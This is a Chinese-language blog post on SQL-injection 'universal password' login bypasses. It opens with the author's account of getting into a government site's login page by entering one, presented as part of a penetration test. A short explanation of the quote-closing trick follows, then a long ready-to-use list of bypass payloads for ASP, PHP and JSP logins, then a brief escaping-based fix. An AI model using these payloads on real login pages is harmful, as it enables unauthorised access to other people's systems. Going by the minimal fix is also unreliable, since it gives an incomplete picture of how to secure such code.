本來都不打算講這個漏洞的(感覺太low了),但是在最近的一次滲透測試中,居然發現了這個漏洞,而且還是政府的網站……是以還是打算講一下吧
最近在一次爬網站位址時,發現了這個登入界面,随手輸入了一個萬能密碼,沒想到居然進去了
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIn5GcucUNWh1N5IDVSJzT3ETQVdlWvwlNw8CX5EDMy8CXzRWYvxGc19CX05WZ052bj1Cc39CXulGeuUGbp12cvxGblhmLyV2ayFGZvw1LcpDc0RHaiojIsJye.png)
漏洞原理:
網站把密碼放到資料庫中,在登陸驗證中一般都用以下sql查詢語句去查找資料庫
sql=select * from user where username=’username’
sql=”select * from user where username='”&username&”‘and pass='”& pass&'”
假設資料庫中存放使用者資訊的表是admin,其中存放使用者名的字段是username,存放密碼的字段是password,在使用者驗證頁面中用來接收使用者所輸入的使用者名和密碼的變量也分别是username和password,當使用者在使用者驗證頁面輸入使用者名和密碼後,會送出給如下的語句進行處理:
select * from admin where `username` = ‘$userrname’ and `password` = ‘$password’
這樣,當使用者輸入使用者名’or ” = ‘時,相應的語句就變成了
select * from admin where `username` = ‘’ or ‘’ =‘’and `password` = ‘’
在這個語句中,where後面所指定的條件永久成立,因而就可以繞過身份驗證,也就成為了所謂的萬能密碼。
萬能密碼中開頭和結尾的單引号,主要是為了将查詢語句中引用變量的單引号閉合。因而掌握了這個特點之後,我們就可以來任意構造萬能密碼,比如下面的幾種形式:
asp aspx萬能密碼
1: “or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6: “or 1=1–
7:’or’a’=’a
8: “or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1′ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 新型萬能登陸密碼
使用者名 ‘ UNION Select 1,1,1 FROM admin Where ”=’ (替換表名admin)
密碼 1
Username=-1%cf’ union select 1,1,1 as password,1,1,1 %23
Password=1
17..admin’ or ‘a’=’a 密碼随便
PHP萬能密碼
‘or’=’or’
‘or 1=1/* 字元型 GPC是否開都可以使用
User: something
Pass: ‘ OR ‘1’=’1
jsp 萬能密碼
1’or’1’=’1
admin’ OR 1=1/*
使用者名:admin 系統存在這個使用者的時候 才用得上
密碼:1’or’1’=’1
修複方案:
修改根目錄下的post.php檔案
$user =$_POST[‘user’];修改成
$user = mysql_real_escape_string($_POST[‘user’]);